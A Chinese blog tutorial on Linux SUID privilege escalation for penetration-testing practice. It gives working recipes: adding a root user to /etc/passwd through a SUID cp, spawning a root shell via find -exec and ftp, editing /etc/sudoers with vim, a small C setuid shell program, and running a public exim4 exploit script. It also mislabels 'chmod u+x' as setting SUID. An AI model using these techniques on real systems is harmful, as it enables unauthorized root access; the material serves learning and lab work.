Linux提权之suid

本文介绍了Linux系统中SUID权限的工作原理,以及如何赋予和检查文件SUID权限。通过举例说明了如何利用SUID提权,如通过cp、find、vim等工具实现权限提升,以及注意事项。
摘要由CSDN通过智能技术生成

suid简介

在Linux系统中的文件,通常有rwx也就是读、写、执行三种权限,但其实还有第四种权限,也就是suid权限。在执行拥有suid权限的文件的过程中,会获得文件属主的权限。例如,当cat命令具有suid权限,那么用户就可以查看任何文件,如果只是普通权限,那么只能查看一些普通用户可以看的文件,无法查看root用户的文件。

SUID(Set UID):

  • suid权限仅对二进制程序有效(binary program);
  • 执行者对于该程序需要具有x的可执行权限;
  • 本权限仅在执行该程序的过程中有效(run-time);
  • 执行者将具有该程序拥有者的权限。

在说suid提权之前,我先说一下如何赋予文件suid权限和如何查找具有suid权限的文件。

chmod u+x a.txt  //赋予a.txt suid权限

find / -perm -u=s -type f 2>/dev/null
参数:
	/表示从文件系统的顶部(根)开始,查找每个目录
	-perm表示搜索后面的权限
	-u=s表示查找具有suid权限的文件
	-type表示我们正在寻找的文件类型
	f 表示普通文件,而不是目录或特殊文件
	2表示到进程的第二个文件描述符,即 stderr(标准错误)
	>表示重定向
	/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

cp提权

当我们运行cp(复制)命令时,就会有root权限,也就是说我们可以复制任意文件。众所周知/etc/passwd这个文件是保存用户的,只有root才可以修改。但是现在我们的cp命令具有root权限,那我们是不是可以把/etc/passwd这个文件的内容复制到一个新建的文件中,然后添加一个root用户,最后再复制回去不就完成对/etc/passwd文件的修改了吗,之后再切换我们刚刚添加的root用户即可。

这里我复制到a.txt中

cp /etc/passwd a.txt

在添加之前,我们先在kali生成一个密码,用来切换用户用的。

openssl passwd -1 -salt 1×2×3 abc123 //-1为md5,-salt指定盐(随意)密码abc123

然后按照/etc/passwd文件里第一条root用户的格式来添加就行,把x换成我们刚刚生成的密码

test:$1$1×2×3$v7HAeao264EWdUs17q7XK/:0:0:root:/root:/bin/bash

再复制回去就ok了。

cp a.txt /etc/passwd

切换我们刚刚添加的用户,并输入刚刚生成的密码即可变成root。

find提权

find也可以用来提权,在执行find命令的过程中利用exec参数来指定其他的命令。例如,在执行find命令过程中又执行whoami命令,因为在执行find命令过程中权限为root,所以最后输出root。

那我们只需把whoami换成/bin/sh,以root的身份新建一个交互终端即可,值得注意的是,要找的文件必须是存在滴

find a.txt -exec "/bin/sh" -p \;

vim提权

当vim被赋予suid权限时,可以编辑任意文件。那么我们直接在/etc/passwd添加个用户不就行了吗,和上面的cp差不多就不演示了。

还有一个方法是去修改/etc/sudoers文件,在/etc/sudoers文件中把普通用户的权限配置为root权限,按照root的方式配置即可。

然后再sudo bash就会获取一个root的shell,不过第一次要输入当前用户的密码,有点鸡肋

可执行文件提权

除了一些系统的可执行命令,自己写的可执行脚本也可以提权,以c语言为例。在kali编译好后再传进靶机里面,如果靶机有环境的话直接在班级编译也行。

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
	setuid(geteuid());
	system("/bin/bash");
	return 0;
}

然后复制到/bin目录下,再添加权限,但是在bin目录下的话普通用户就没有权限给予shell文件suid权限了???????

只能切换root用户再给予shell文件777权限和suid权限了,最后再切换回普通用户执行shell文件即可。个人觉得超级无敌鸡肋,既然我都能切换root用户给予权限了,那我还提个集贸权啊。

ftp提权

先输入ftp ,再在底行输入!/bin/sh -p即可

exim4提权

先查看版本信息

/usr/sbin/exim4 --version

到kali漏洞库去找提权脚本,根据脚本适用版本以及脚本信息来判断使用哪个脚本。这里我们就用第三个,Privilege Escalation是权限提升的意思。

searchsploit exim 4.8 

脚本上传到靶机,给予执行权限。

两种使用方式,不知道使用哪种就两种都试试即可。

./46996.sh -m netcat
./46996.sh -m setuid

总结

以上总结的是常见的suid提权,后续会持续跟新。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

  • 26
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值